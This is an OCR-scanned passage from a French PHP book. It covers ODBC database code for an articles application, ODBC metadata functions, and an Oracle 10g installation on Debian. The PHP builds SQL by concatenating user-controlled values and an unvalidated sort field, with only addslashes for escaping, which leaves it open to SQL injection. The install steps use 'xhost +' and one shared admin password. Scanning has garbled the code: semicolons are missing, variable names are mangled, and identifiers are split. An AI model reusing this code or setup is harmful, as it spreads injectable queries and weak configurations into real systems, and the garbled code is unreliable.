if (!$idResultat) return FALSE; 

$types = array ("Album", "Film", "Livre", "Musique"); 

foreach ($types as $type) { 

$requete = "INSERT INTO types (type) VALUES ('$type')" 
$idResultat = odbc_exec($this->idConnexion, $requete); 
if (!$idResultat) return FALSE; 

} 

$requete = "DROP TABLE articles"; 

$idResultat = @odbc_exec($this->idConnexion, $requete); 

$requete = "CREATE TABLE articles (". 

"id $compteur,". 

"albumld INTEGER,". 

"titre VARCHAR(255),". 

"typeld INTEGER,". 

"commentaire VARCHAR(255) NULL)"; 
$idResultat = odbc_exec($this->idConnexion, $requete); 
if (!$idResultat) return FALSE; 
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public function addArticle($albumId, 

$titre, 
$typeld, 
$commentaire) 

{ 

$requeteDebut = "INSERT INTO articles (albumld, titre, typeld"; 
$requeteFin = ") VALUES ($albumld,". 

.addSlashes($titre)."',". 

"$typeld"; 
if ($commentaire != "") { 

$requeteDebut .= ".commentaire"; 

$requeteFin .= ",'" .addSl ashes ($commentai re) ; 

} 

$requete = $requeteDebut . $requeteFin . ")"; 
$idResultat = odbc_exec($this->idConnexion, $requete); 
if (!$idResultat) return FALSE; 
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Chapitre 10 L'utilisation des bases de donnees 



public function getArticle($articleId) 

{ 

$requete = "SELECT * FROM articles WHERE id=$articleld" ; 
$idResultat = odbc_exec($this->idConnexion, $requete) ; 
if (!$idResultat) return FALSE; 

$article = NULL; 

if ($enreg = odbc_fetch_array($idResultat)) { 

$article = $this->enreg2Article($enreg) ; 
} 
return $article; 

} 

public function getArticles(Filtre $filtre, Plage $plage, Tri $tri) 

{ 

$requete = "SELECT * FROM articles"; 
if ($filtre->getAlbumId() != -1) { 

$conditionSQL = "albumId=".$filtre->getAlbumId() ; 

} 

if ($filtre->getTitre() != "") { 
$conditionSQL = $conditionSQL. 

" AND titre LIKE '". 

addSl ashes ($f i 1 tre->getTi tre () ) ; 

} 

if ($filtre->getTypeId() != -1) { 
$conditionSQL = $conditionSQL. 

" AND typeId=".$filtre->getTypeId(); 
} 

if ($tri->getSens() == -1) { 

$triSQL = "ORDER BY " .$tri ->getChamp() . " DESC"; 
} else if ($tri->getSens() == 1) { 

$triSQL = "ORDER BY " .$tri ->getChamp() . " ASC"; 
} 

$requete = $requete." WHERE " .$condi tionSQL. " ". 

$triSQL; 
$idResultat = odbc_exec($this->idConnexion, $requete) ; 
if (!$idResultat) return FALSE; 

$articles = NULL; 

// Nous devons sauter les premiers resultats 
if ($plage->getPremierArticle()>0) { 
odbc_fetch_row($idResultat, 

$plage->getPremierArticle()) ; 
} 

while (($enreg = odbc_fetch_array($idResultat)) 

&&(count ($arti cl es)<$pl age->getNbArti cl eMax() ) ) { 
$articles[] = $this->enreg2Article($enreg) ; 

} 

return $articles; 
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public function getNbTotalArticles(Fil tre $filtre) 
{ 

$requete = "SELECT C0UNT(*) FROM articles"; 
if ($filtre->getAlbumId() != -1) { 

$conditionSQL = "albumId=".$filtre->getAlbumId() ; 
} 

if ($filtre->getTitre() != "") { 
$conditionSQL = $conditionSQL. 

" AND titre LIKE '". 

addSl ashes ($f i 1 tre->getTi tre () ) ; 

} 

if ($filtre->getTypeId() != -1) { 
$conditionSQL = $conditionSQL. 

" AND typeId=".$filtre->getTypeId(); 
} 

$requete = $requete." WHERE " .$condi tionSQL; 
$idResultat = odbc_exec($this->idConnexion, $requete); 
if (!$idResultat) return FALSE; 
if (odbc_fetch_into($idResultat, &$enreg)) { 

return $enreg[0] ; 
} else return FALSE; 



public function getTypes() 

{ 

$requete = "SELECT * FROM types"; 

$idResultat = odbc_exec($this->idConnexion, $requete) 

if (!$idResultat) return FALSE; 

$types = NULL; 

while ($enreg = odbc_fetch_array($idResultat)) { 

$types[$enreg["id"]] = $enreg["type"] ; 
} 
return $types; 
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public function getAlbumTypeId() 
{ 

return 1; 

} 



private function enreg2Article($enreg) 

{ 

$article = new Article(); 
$article->setld($enreg["id"]); 
$article->setAlbumId($enreg["albumId"]) ; 
$article->setTitre($enreg["titre"] ) ; 
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$article->setTypeId($enreg["typeId"] ) ; 

$arti cl e->setCommentai re ($enreg ["commentai re"] ) ; 

return $article; 



} 

?> 

Comme vous le constatez, la principale difficulte n'est pas tant aii niveau des fonctions 
disponibles qu'au niveau de la construction des requetes SQL. La requete sera simple lorsqu'il 
ne s'agit que de recuperer un enregistrement identifie par la cle id (comme c'est le cas avec 
getArticle ( )) elle sera bien plus complexe s'il s'agit des recuperer un ensemble 
d'enregistrements repondant a des criteres precis et tries (comme c'est le cas avec 
getArticles ( ) ). 



Requetes avec des apostrophes 

Lors de la construction de la requete, il faut bien garder a l'esprit que Fun des elements de la 
requete (typiquement un champ de type texte saisi par l'utilisateur, comme ici le titre ou le 
commentaire) peut contenir une apostrophe qui pourrait etre confondu avec le delimiteur de 
chaine. Pensez done bien a faire un appel a addsiashes ( ) lorsque cela peut s'averer 
necessaire. 

Affichage page par page 

Certaines bases de donnees permettent de ne retourner qu'un sous-ensemble des resultats 
d'une requetes SQL ; d'autres permettent seulement de retourner les N premiers resultats. En 
ce qui concerne MS Access et DB2, il semblerait qu'ils ne permettent pas ce genre 
d'optimisation. Nous sommes done dans l'obligation de demander tous les resultats, et 
d'ignorer ceux qui ne nous interessent pas. 

Tri 

Modifier 1'ordre d'affichage des annonces n'est pas non plus bien sorcier. Le tri peut s'effectuer 
directement au niveau de la requete SQL, grace a l'instruction order by. 



Moteur de recherche (filtre) 



Pour filtrer, il suffit d'utiliser l'instruction where. Dans notre cas, nous souhaitons autoriser 
l'utilisation de jokers (comme %) afin, par exemple, de rechercher les titres commencant par 
une chaine donnee. C'est pourquoi, nous ne ferons pas un test de type titre= 'motcle ' mais 
titre like 'motcle' (ou motcle pourrait avoir la valeur "La 7eme compagnie%"). 



En savoir plus... 

II y a bien plus a apprendre d'une base de donnees... 
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sur le resultat d'une requete 



II vous est ainsi possible de connaitre le nombre de champs retournes par une requete (et par 
consequent le nombre de champs d'une table dans le cas d'une requete select * from 
<nom_tabie> sur une table non vide). 



odbc_num_fiels() 

Retourne le nombre de champs dans l'enregistrement retourne par une requete SQL. 

Syntaxe int odbc_num_fi elds (resource $idResultat) 

$idResultat Identifiant de resultat tel que retourne par odbc_exec ( ) ou 

odbc_execute ( ) . 

retour Nombre de champs, ou FALSE en cas d'erreur. 

Mais aussi, le nom de ces champs : 



odbc_field_name() 

Retourne le nom d'un champ designe par son indice dans le resultat de requete. 

Syntaxe string odbc_field_name(resource $idResultat, int $idxChamp) 

$idResultat Identifiant de resultat tel que retourne par odbc_exec ( ) ou 

odbc_execute ( ) . 

$i dxChamp Index du champ (le premier champ porte l'index 1). 

retour Nom du champ, ou FALSE en cas d'erreur. 

Ou, a l'inverse, leur index : 
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odbc_field_num() 



Retourne l'index du champ designe par son nom dans le resultat de requete. 

Syntaxe int odbc_field_num(resource $idResultat, string $champ) 

$idResultat Identifiant de resultat tel que retourne par odbc_exec ( ) ou 

odbc_execute ( ) . 

$champ Nom du champ. 

retour Index du champ (le premier champ porte l'index 1), ou FALSE en cas 

d'erreur. 
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Chapitre 10 L'utilisation des bases de donnees 



Cependant, les champs ont d'autres informations a nous livrer que leur nom et leur index. Pour 
cela, vous disposez des fonctions : 



odbc_field_type() 

Retourne le type du champ designe par son index dans le resultat de requete. 

Syntaxe int odbc_fi el d_type (resource $idResultat, int $idxChamp) 

$idResultat Identifiant de resultat tel que retourne par odbc_exec ( ) ou 

odbc_execute ( ) . 

$i dxChamp Index du champ (le premier champ porte l'index 1). 

retour Type du champ, ou FALSE en cas d'erreur. 



odbc_field_len() 



Retourne la longueur du champ designe par son index dans le resultat de requete. 

Syntaxe int odbc_fi el d_l en (resource $idResul tat, int $idxChamp) 

$idResultat Identifiant de resultat tel que retourne par odbc_exec ( ) ou 

odbc_execute ( ) . 

$i dxChamp Index du champ (le premier champ porte l'index 1). 

retour Longueur du champ, ou FALSE en cas d'erreur. 

Cette fonction possede un alias baptise odbc_f ield_precision ( ) 



odbc_field_scale() 



Retourne l'echelle (?) du champ designe par son index dans le resultat de requete (0 souvent, 
6 pour un TIMESTAMP DB2). 

Syntaxe int odbc_fi el d_scale (resource $idResultat, int $i dxChamp) 

$idResultat Identifiant de resultat tel que retourne par odbc_exec ( ) ou 

odbc_execute ( ) . 

$i dxChamp Index du champ (le premier champ porte l'index 1). 

retour Echelle (?) du champ, ou FALSE en cas d'erreur. 
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... sur les champs d'une table 

II n'est cependant pas necessaire de passer par une requete pour recuperer des informations sur 
une table. Vous disposez ainsi de : 



odbc_columns() 

Retourne un pointeur sur la liste des champs des tables d'une base. 

Syntaxe resource odbc_columns (resource $idConnexion) 

$idConnexion Identifiant de connexion a une base de donnees tel que retourne par 

odbc_connect ( ) ou odbc_pconnect ( ) . 

retour Identifiant de requete (a analyser, par exemple, avec les fonctions 

odbc_f etch* ( ) ). Les champs sont alors : 
TABLE CAT. 
TABLESCHEM. 
TABLE _NAME, le nom de la table. 
COLUMN _NAME, le nom du champ. 
DATAJTYPE, le code du type du champ (voir tableau). 
TYPE_NAME, le type du champ en toutes lettres. 
COLUMN _SIZE, taille du champ (en octets). 
BUFFER_LENGTH. 
DECIMAL DIGITS. 
NUM_PREC_RADIX. 

NULLABLE, 1 si le champ peut prendre la valeur NULL. 
REMARKS, commentaire associe au champ. 
COLUMN _DEF. 

SQL _DATA TYPE, le code SQL du type du champ. 
SQL_DA TETIMEJUB. 
CHAR_OCTET_LENGTH. 
ORDINAL _POSITION. 

IS_NULLABLE, YES si le champ peut prendre la valeur NULL, NO sinon. 
ORDINAL. 
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Tableau 10.15 : Les types ODBC rencontres 




Identifiant de Type Access 97 (MS) 


DB2 (IBM) 


-400 


DATALINK 


-99 


CLOB 



-98 BLOB 

-11 GUID 

-7 BIT 

-6 BYTE 

-5 BIGINT 
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Identifiant de Type 



10 
11 
12 



Access 97 (MS) 



DB2 (IBM) 



LONGBINARY 



LONG VARCHAR FOR BIT DATA 



-3 


VARBINARY 


VARCHAR ( ) FOR BIT DATA 


-2 


BINARY 


CHARacterO FOR BIT DATA 


-1 


LONGCHAR 


LONG VARCHAR 



CHAR 
CURRENCY 

INTEGER COUNTER 
SMALL INT 



DATETIME 
VARCHAR 



CHARacter 

NUMeric 

DECimal 

INTeger 

SMALLINT 



6 




FLOAT 


7 


REAL 


REAL 


8 


DOUBLE 


FLOAT 


9 




DATE 



TIME 

TIMESTAMP 

VARCHAR 



... sur les tables d'une base 

De meme, vous pouvez aisement recuperer la liste des tables. 



odbc_tables() 



Retourne un pointeur sur la liste des tables d'une base. 

Syntaxe resource odbc_tables (resource $idConnexion) 

$idConnexion Identifiant de connexion a une base de donnees tel que retourne par 

odbc_connect ( ) ou odbc_pconnect ( ) . 

retour Identifiant de requete (a analyser, par exemple, avec les fonctions 

odbc_f etch* ( ) ). Les champs sont alors : 
TABLE _CAT. 
TABLEJCHEM. 
TABLE_NAME, le nom de la table. 

TABLE TYPE, type de la table TABLE, SYSTEM TABLE, VIEW, etc. 
REMARKS, commentaire associe a la table. 



758 



ODBC 



... sur les procedures stockees d'une base 

De meme, vous pouvez aisement recuperer la liste des procedures stockees. 



odbc_procedures() 

Retourne un pointeur sur la liste des procedures stockees d'une base. 

Syntaxe resource odbc_procedures (resource $idConnexion) 

$idConnexion Identifiant de connexion a une base de donnees tel que retourne par 

odbc_connect ( ) ou odbc_pconnect ( ) . 

retour Identifiant de requete (a analyser, par exemple, avec les fonctions 

odbc_f etch* ( ) ). Les champs sont alors : 
PROCEDURE CAT. 
PROCEDURE _SCHEM. 

PROCEDURE _NAME, le nom de la procedure stockee. 
NUM_INPUT_PARAMS, le nombre de parametres d'entree. 
NUM_OUTPUT_PARAMS, le nombre de parametres de sortie. 
REMARKS, commentaire associe a la procedure stockee. 
PROCEDURE TYPE, le type de la procedure stockee. 

Tout comme les informations plus precises : 
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odbc_procedurecolumns () 

Retourne un pointeur sur la liste des parametres des procedures stockees d'une base. 

Syntaxe resource odbc_procedurecolumns (resource $idConnexion) 

$idConnexion Identifiant de connexion a une base de donnees tel que retourne par 

odbc_connect ( ) ou odbc_pcormect ( ) . 

retour Identifiant de requete (a analyser, par exemple, avec les fonctions 

odbc_f etch* ( ) ). Les champs sont alors : 
PROCEDURE CAT. 
PROCEDURE _SCHEM. 

PROCEDURE _NAME, le nom de la procedure stockee. 
COLUMN _NAME, le nom du parametre. 
COLUMN TYPE. 

DATAJTYPE, l'identifiant du type du parametre (voir tableau). 
TYPE_NAME, le type du parametre en toutes lettres. 
COLUMN _SIZE, taille du parametre (en octets). 
BUFFER_LENGTH. 
DECIMAL DIGITS. 
NUM_PREC_RADIX. 
NULLABLE, 1 si le champ peut prendre la valeur NULL. 
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REMARKS, commentaire associe au parametre. 

COLUMN _DEF. 

SQL_DATA_TYPE, l'identifiant SQL du type du parametre. 

SQL_DA TA TYPEJUB. 

CHAR_OCTET_LENGTH. 

ORDINAL _POSITION, position du parametre dans l'appel de la 

procedure. 

IS_NULLABLE, YES si le parametre peut prendre la valeur NULL. 

... sur le serveur 

II vous est possible d'acceder a la liste des types supportes par le serveur de bases de donnees 
en appelant la fonction odbc_getTypeinf o ( ) . 



odbc_getTypeInfo () 

Lance une requete interrogeant la base de donnees sur la liste des types SQL supportes. 

Syntaxe resource odbc_getTypeInfo(resource $idConnexion [, int 

$idType]) 

$idConnexion Identifiant de connexion a une base de donnees tel que retourne par 

odbc_connect ( ) ou odbc_pconnect ( ) . 

$idType Identifiant de type sur lequel limiter la recherche (par defaut, ou si 

$idType vaut 0, la liste complete est retournee). 

retour Identifiant de resultat de requete contenant les champs : 

TYPE_NAME, type en toutes lettres. 
DATAJTYPE, identifiant (numerique) du type. 
COLUMN _SIZE. 
LITERAL PREFIX. 
LITERAL JUFFIX. 

CREATE_PARAMS. 

NULLABLE. 

CASESENSITIVE. 

SEARCHABLE. 

UNSIGNED_ATTRIBUTE. 

FIXED _PREC_SCALE. 
AUTO_UNIQUE_ VALUE. 
SQLDATATYPE. 
SQLDATETIMESUB. 
NUM_PREC_RADIX. 
INTERVAL PRECISION. 
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10.11. Oracle 

Oracle est certainement la base de donnees la plus utilisee dans le monde professionnel ; il etait 
done important de decrire, ici, comment acceder a une telle base via PHP. 



Installation 

Le but de ce chapitre n'est pas de faire de vous un administrateur de base de donnees Oracle. 
Non. Nous nous contenterons de decrire une installation standard, sans prendre en compte les 
problemes d'optimisation et de securite. Le but etant que vous puissiez installer PHP et Oracle 
sur des machines de test pour vous familiariser avec cet environnement avant de passer a un 
serveur de bases de donnees destine a la production (et peut-etre configure par un expert 
Oracle). 

De plus nous installerons le serveur Oracle sur la meme machine que le serveur Web. 

Pour nos tests, nous avons installe Oracle lOg sous un environnement Debian Sarge. 

Dans tous les cas, vous etes vivement invites a consulter la documentation officielle Oracle pour 
mener a bien l'installation de la base de donnees sur votre systeme. 

Pre-requis 

Pour commencer, vous devez vous procurer le CD-ROM d'installation d'Oracle ou en 
telecharger une version a l'adresse http://otn.oracle.com/software/content.hlml. 

Pour Linux, la version 10.1.0.2 telechargee se presente sous la forme d'un fichier ship.db.cpio.gz. 

Attention, l'installation d'Oracle est tres exigeante. II vous faudra 512 Mo de RAM (en fait 
nous l'avons menee a bien avec a peu moins) ainsi qu'l Go de swap. 
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En manque de swap ? 

Si vous ne disposez pas suffisamment de swap vous pouvez aisement en creer (a 
condition de disposer de suffisamment d'espace disque). Pour cela enchainer les 
commandes suivantes (vous pouvez la repeter pour creer plusieurs fichiers). 

dd if=/dev/zero of=fichierswap bs=lk count=<tail le en d 1 octets du fichier 

X- de swap> 

chmod 600 fichierswap 

mkswap fichierswap 

swapon fichierswap 



Preparation a l'installation du serveur de base de donnees 

Vous etes invite a creer, depuis le compte root, sur le serveur Oracle, un nouveau compte 
utilisateur oracle associe au groupe principal oinstall (groupe des fichiers installes par 
oracle) et au groupe dba (groupe des administrateurs oracle). 

# groupadd oinstall 
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# groupadd dba 

# useradd -g oinstall -G dba -s /bin/bash -d /home/oracle oracle 

Pour vous eviter des soucis, vous pouvez creer des maintenant le repertoire destine a heberger 
la partie logicielle d'Oracle et celui pour les donnees. 

# mkdir -p /usr/local/oraclelOg 

# mkdir -p /data/oradata 

# chown -R oracle:oinstall /usr/local/oraclelOg 

# chmod -R 775 /usr/local/oraclelOg /data/oradata 

II est maintenant temps de se logger en tant qu'utilisateur oracle : 

# su - oracle 

et de modifier l'environnement de ce compte utilisateur. Pour cela, modifiez le fichier —oracle/ 
.bashrc en ajoutant les lignes suivantes : 

export ORACLE_BASE=/usr/l ocal /oracl elOg 

export 0RACLE_H0ME=$0RACLE_BASE/product/10.1.0/db_l 

export ORACLE_SID=mabase 

unset LANG 

export PATH=$ORACLE_HOME/bin:$PATH 

oracle_base est le repertoire ou sera installe la partie logicielle d'Oracle incluant les scripts 
d'installation. Le moteur de la base de donnee etant quant a lui sous oracle_home. 

oracle_sid est le nom de la base de donnees que Ton souhaite utiliser par defaut. 

Pour heriter de ces modifications, tapez maintenant la commande : 

$ source -/.bashrc 

II est temps maintenant de decompresser l'archive precedemment telechargee (par exemple, 
sous /usr/local/src /database /oracle 1 Og) . 

$ cd /usr/local/src/database/oraclelOg 
$ gunzip ship.db.cpio.gz 
$ cpio -idmv < ship.db.cpio 

Vous voila desormais avec un repertoire /usr/local/src/database/oraclelOg/Diskl contenant, 
entre autres, un fichier nmlnstaller. 



Installation depuis un CD-ROM 

Dans le cas d'une installation par CD-ROM, vous n'avez pas a decompresser 
d'archives, mais vous devez "monter" le CD. Cette operation se realise generalement 
(mais cela depend de l'environnement) par I'operation (depuis le compte root) : 

# mount /mnt/cdrom 

Des lors, les operations suivantes faisant reference a /usr/local/src/database/ 
oracle lOg/Diskl doivent etre comprises comme faisant reference a /mnt/cdrom. 



REMARQUE 
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Avant de lancer le script d'installation, assurez-vous que le compte oracle a le droit d'ouvrir 
une fenetre X. Pour cela, pas la peine de faire de sentiments : ouvrez une nouvelle fenetre 
(xterm) en tant que l'utilisateur initial de la session, et tapez la commande : 

# xhost + 

Vous pouvez alors tenter de lancer le script d'installation. 

$ export DISPLAY=:0.0 
$ cd /tmp/Diskl 
$ ./runlnstaller 

Ceci affiche la fenetre suivante : 



__ 



Welcome 



El B 



The Oracle Universal Installer guides you through the installation and configuration of 
your Oracle products. 



Click "Installed Products..." to see all installed products. 



Damstal! Prociuas. 



Help ) Installed Products.. 



Next _) 



AJgoljt Oracle Universal Installer. .. j 
Install Cancel J 
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Figure 10.19 : Bienvenue 

Comment ? Cela ne fonctionne pas ? Mouais... II fallait s'y attendre. Ce n'est sans doute pas 
bien grave ; consultez simplement la remarque qui suit. Si, en revanche, cela a fonctionne, vous 
avez de la chance (!), et vous pouvez passer a la suite. 



REMARQUE 



Distribution non supportee 

Ilsepeut que ['execution de la commande precedente conduise au message d'erreur 

suivant: 

Checking operating system version: must be redhat-2. 1, UnitedLinux-1. or redhat-3 

Failed «« 

Ceci est juste du au fait qu 'Oracle lOg ne supporte officiellement que les trois 

distributions cities dans le message, ce qui ne signifie toutefois pas qu 'il ne fonctionne 

pas sous d'autres distributions. 
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Powr eviter cela, deux solutions s'offrent a vous: 

Vous pouvez lancer le script d 'installation avec Voption permettant de ne pas f aire le 

controle des pre-requis. 

$ ./runlnstaller -ignoreSysPrereqs 

Ou bien, vous faire passer pour un autre (enfin. . . faire passer votre distribution par 

une autre) 

Pour cela creez ou modifiez (apres en avoir fait une sauvegarde) le fichier /etc/ 

redhat-release afin qu'il contienne I'unique ligne: 

Red Hat Enterprise Linux AS release 3 (Taroon) 

et relancez runlnstaller. 



Une fois que vous aurez clique sur le bouton Suivant, vous verrez apparaitre : 

JHMll.l.EilJ.I]LIILltl^ PI H I 



rade Universal Installer SDe.ifv In . -htorv direc 



Specify Inventory directory and credentials 

You are starting your first installation on this host. As part of this install, you need to specify a 
directory for installer files. This is called the "inventory directory'- Within the inventory directory; the 
installer automatically sets up subdirectories for each product to contain inventory data and will 
■ ■■ . ■ i.'ii. jii _ r ■ r ii.i.i ..-. [....-■ i.i..... i .1 

Enter the full path of the inventory directory 

|/usr/local/oraclelQg/oralnventory B rows e . . . 



You can specify an Operating System group that has write permission to the above inventory director/. 
You can leave the field blank if you want to perform the above operations as a Superuser. 

Specify Operating System group name: 
loinstall 



~B 



Help ) Installed Products... j 



ext j Install Cancel ,l 



Figure 10.20 : Emplacement des scripts d' installation 

Cette fenetre de dialogue vous demande de confirmer le chemin du repertoire oralnventory ou 
seront deposes les scripts d'installation (celui ci est base sur la valeur definie par 
ORACLE _HOME) ainsi que le groupe auquel les fichiers ainsi crees doivent appartenir. Vous 
pouvez conserver les valeurs par defaut et valider. 

Durant cette pre-installation, vous serez invites a executer un script depuis le compte 
utilisateur root. 
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Oracle Universal Installer 



Certain actions need to be performed with root privileges 
before the install can continue. These actions are stored in a 
shell script named 
/usr/local/oraclelOg/oralnventory/orainstRoot.sh. 



Please esiecute the 

/usr/local/oraclelOg/oralnventorv/orainstRoot.sh script now 
from another window, then click "Continue" to continue the 
install. 



J( 



Continue Cancel 



Figure 10.21 : 

Pre-installation sous le 
compte root 
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Pour cela, il suffit de suivre les instructions. Dans une fenetre (xterm) ouvrez une session root 
et executez la commande 

# /usr/local/oraclelOg/oralnventory/orainstRoot.sh 

Vous pouvez maintenant reprendre le cours normal de l'installation en cliquant sur Continue. 
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Specify File Locations 



Source 

Enter the full path of the file representing the product(s) you want to install: 
Pa !h /usr/local/src/databasc7Oraclel0g/Dlski/st age/products, x m 



Browse. 



Destination 

Enter or select a name for the installation and the full path where you want to install the product. 



Name: |oraDblOg_homel 



»h. |/usr/local/oraclel0g/produn/10.1.0/db_l 



Browse... j 



About Oracle Universal Installer 



Figure 10.22 : Emplacement des fichiers 

II vous est maintenant demande de preciser le chemin du repertoire contenant le logiciel 
d'installation ainsi que le chemin du repertoire destination. La, encore, vous pouvez conserver 
les valeurs par defaut et valider. Le logiciel installe alors tous les scripts necessaires a 
l'installation du serveur. 

Vous etes maintenant pret a installer le serveur. 
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Installation du serveur Oracle 

Une fois les etapes precedentes passees, vous arrivez a 1'ecran suivant 
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Select Installation Type 

Oracle Database lOg 10.1.0.2.0 

What type of installation do you want? 

r Enterprise Edition (S73MB) 
Oracle Database lOg Enterprise Edition, the First database designed for the grid, is a self-managing database 
that has the scalability, performance, high availability and security features required to run the most 
demanding, mission critical applications 

* Standard Edition (835MB) 
Oracle Database 10 g Standard Edition is ideal for workgroups,, departments and small-to-medium sized 
businesses looking for a lower-cost offering. 

r Custom 
'.< iL-k. :■:■:: .i.-i. i-1m ,i :■: .< .:■.-.■ . .. . i 



Help ) Installed Products... ) 



Product Languages. .. f i 
j _ Next ") Install Cancel J 



Figure 10.23 : Selection du type ^installation 



Pour une premiere installation, nous nous contenterons d'une installation "standard". 

Attention, si vous souhaitez installer le composant contenant les messages pour une langue 
autre que l'anglais, avant de cliquer sur Next, selectionnez Product Languages. 



■■,LUIU,l,k-y,UiM,fcM^. 



SBB 



Language Selection 

Oracle Database lOg 10.1.0.2.0 

Please select the languages in which your 
product Oracle Database lOg 10.1.0.2.0 will 
run. 
Available Languages: Selected Languages: 



English (United Kingi 

Estonian 

Finnish 




Figure 10.24 : 

Selection des langu.es 



C'est tout simple, il suffit d'ajouter les langues desirees. Puis cliquez sur Ok. Et cliquez sur le 
bouton Next de la fenetre principale (presentee precedemment). 

Le script controle alors les differents parametres de l'environnement... 
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Loading dialog; for Oracls Net Manager 



The installer will row verify that the system meets all the minimum requirements for installing and 
configuring the chosen product. You are required to manually verify and confirm the items that are 
flagged as warnings or manual checks. For details on performing those checks, click on the item arid 
see the details at the bottom. 



Checking kernel parameters 



Automatic P Pending.. 



Checking recommended operating system packages 



Automatic I - Pending.. 



Checking recommended glibc version 

n fif <:Pt1 



Automatic I - Pending.. 



I~ PpnHinn 



Retry Stop 



Checking operating system certification 



nstalled Products.. 



Install Cancel ] 
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Help ) 

Figure 10.25 : Analyse del'environnement 

... et poursuit l'installation (apparemment y compris si des erreurs sont detectees) 



■taller: Select Databas 



^ -} 



Select Database Configuration 



You can choose either to create a database as part of this installation or install just the software 
necessary to run a database, and perform any database configuration later. If you want to create a 
database as part of this installation the Oracle Database Configuration Assistant will be launched 
automatically at the end of the install to create a database of the type selected. 

Select the configuration options that suits your needs. 



* Create a starter database 

Select the type of starter database you wish to create. 
* "General Purpose 

A starter database designed for general purpose usage. 
C Transaction Processing 

A starter database optimized for transaction-heavy applications. 

L-i' a — Li -=■!■■:■■ J . : ■=■ 

A starter database optimized for data warehousing applications. 
r Advanced 

Allows you to customize the configuration of your starter database. 



r Do not create a starter database 
Help I Installed Products... ) 



Figure 10.26: Creation dune base 

Vous pouvez choisir de n'installer que le serveur de la base de donnees mais autant en profiter 
pour creer egalement la base de donnees. Pour cela, conservez les valeurs par defaut, a savoir 
"Create a starter database" de type "General Purpose", puis cliquez sur Next. 
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Specify Database Configuration Options 

Database Naming — 

A Global Database Name, typically of the form "name, domain", uniquely identifies an Oracle 
database. In addition, each database is referenced by at least one Oracle System Identifier (SID). 
Specify the Global Database Name and SID for this database. 



Global Database Name: mabase 



SID: 



mabase 



?- Database Character Set — 

The database character set is determined based on the number of language groups that will be 
| stored in your database. See "Help" forthe definition of language groups. Select the character set that 
should be used in your database. 



Select Database Character set: 



*est European WE8I50S853P1 



- Database Examples 

You can choose to create a starter database with or without sample schemas. Note that you can plug 
in the sample schernas to your existing starter database after creation. See "Help" for more details 



r Create database with sample schemas 



Help J Installed Products... ) Back I Next \ 



Figure 10.27 : Parametres de la base 



II vous est maintenant demande de donner un nom a cette base de donnees un nom interne sid 
et un nom externe global (dans notre cas, nous avons simplement choisi le terme "mabase"). 
Cliquez sur Next. 



HJLV 1J.4:1IL|:' 
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Select Database Management Option 

Each Oracle Database lOg maybe managed centrally using the Oracle Enterprise Manager lOg Grid 
Control or locally using the Oracle Enterprise Manager lOg Database Control. For Grid Control, sbecify 
the Oracle Management Service through which you will centrally manage your database. For Database 
Control, you may additionally indicate whether you want to receive email notifications for alerts. 

Select the management options for your instance. 



I" Use Grid Control for Database Management 



ssrnent Service: No Agents Found 



* Use Database Control for Database Management 
r Enable Email Notifications 

Outgoing Mail (SMTP) Server [ 

Email Address: \_ 

Help I Installed Products... } 



Figure 1 0.28 : Options de gestion de la base 

Passons sur les possibilites de gestion de la base. Cliquez sur Next. 
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Specify Database File Storage Option 

Select The storage mechanism you would like to use for database creation 

* File System 
Use the file system for database storage. For best database organization and performance., Oracle 
recommends installing database files and Oracle software on separate disks. 



."[>■;■: it Di' bi>a. r ni» !■:■■: i'K-n |- :ia' l-->i a-:i b» l Ci :■■■ :» 

■ i ■ > Mji,.; ..r.;.i i.i» |-1 ai L _ r n»n' .f"' 

Automatic Storage Management simplifies database storage administration and optimises database layout 
for I/O performance. 



C Raw Devices 

Rawpartitions can also provide the required shared -forage for Real Application Clusters (RAC) databases. 
You will needto create one raw device for each data file, control file, and log file for the starter database and 
then provide a file that maps specific tab I espaces, control files, and log files to rawvolumes. 



Specify Raw Devices mapping file 
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Figure 10.29 : Emplacement des donnees 

II est temps de preciser ou doivent etre stockees les donnees de la base de donnees. Nous avons 
choisi Idata/orainst. Cliquez sur Next. 
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Specify Backup and Recovery Options 

Select whether or not to enable automated backups for your database. Backup Job, if selected, will use 
the specified recovery 1 area storage. 



* Do not enable Automated backups 
C Enable Automated Backups — 

— Recovery Area Storage 

* File System 

Use the file system forfiles related to backup and recovery of your database. 



Recovery Area Location: [/usr/local/oracielOg/flash.recovery. area/ 



C Automatic Storage Management 

Use Automatic Storage Management forfiles related to backup and recovery. 



- Backup Job Credentials — 

Specify the operating system credentials used by the backup Job. 
Username: I 



Password: I 



Help j Installed Products... } 



I" ^i xt ) 



Figure 10.30 : Possibilites de sauvegarde 

Passons sur les possibilites de sauvegarde (backup). Cliquez sur Next. 
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Specify Database Schema Passwords 

The Starter Database contains pre-loaded schemas, most of which have passwords that will expire 
and be locked at the end of install. After the install is complete, you must unlock and set new 
passwords for those accounts you wish to use. Schemas used for the database management and post- 
install functions are left unlocked, and passwords forthese accounts will not expire. Specifythe 
passwords for these accounts. 



<~ use different passwords forthese accounts 



User Name 


Enter Password 


| Confirm Password 




STO 






SYSTEM 
SVSMAN 


DGSNMP 


"< 




►:■ 



Use the same password for all the accounts 
Enter Password; |******** 



Confirm Password: 



Figure 10.31 : Specification des mots de passe 

Par soucis de simplicite, nous avons choisi d'utiliser le meme mot de passe pour tous les 
comptes; a savoir "biblephp" (ce que nous retrouverons dans les fichiers de configuration des 
scripts). Cliquez sur Next. Un premier traitement se declenche alors. 
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Summary 

Oracle Database 10g 10.1.0.2.0 



^-Global Settings 

■Source: /iJsr/local/src/database/QraclelOg/Diskl/stage/products.xml 

■Oracle Home: /usr/local/oraclel0g/product/10.1.0/db_l (OraDblOg.hornel) 

■Installation Type: Standard Edition 
-Product Languages 

■English 

■French 

-Canadian French 
-Space Requirements 

L/ Required 1.60GB (includes 128MB temporary) : Available 1.13GB 
-New Installations 0-40 products) 

-Advanced Queueing (AQ) API 10.10.2.0 

■Advanced Replication 10.1.0.2.0 

■Agent Required Support Files 10.1.0.2.0 



Help I Installed Products... I 



c 






Figure 10.32 : Recapitulatif des parametrages choisis 

Cette fois, l'installation est imminente. Juste le temps de verifier que toutes les conditions sont 
remplies. En l'occurrence, la copie d'ecran montre un cas d'erreur (espace disque insuffisant) 
assez facilement corrige. Cliquez sur Install. 
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Install 

-*" Installation in progress 

Link pending.., 
Setup pending... 

Configuration pending... 

Extracting files to Vusr/local/oradelOg/prodLict/lO.l.O/db.l'. 



" MM | I [ ! 

You can find a log of this install session at: 
/usr/local/oraclelOg/oralnventory/logs/instal IActions2004-07-ll_lZ-0Z-18PM.log 



Oracle Uni abase Rig 
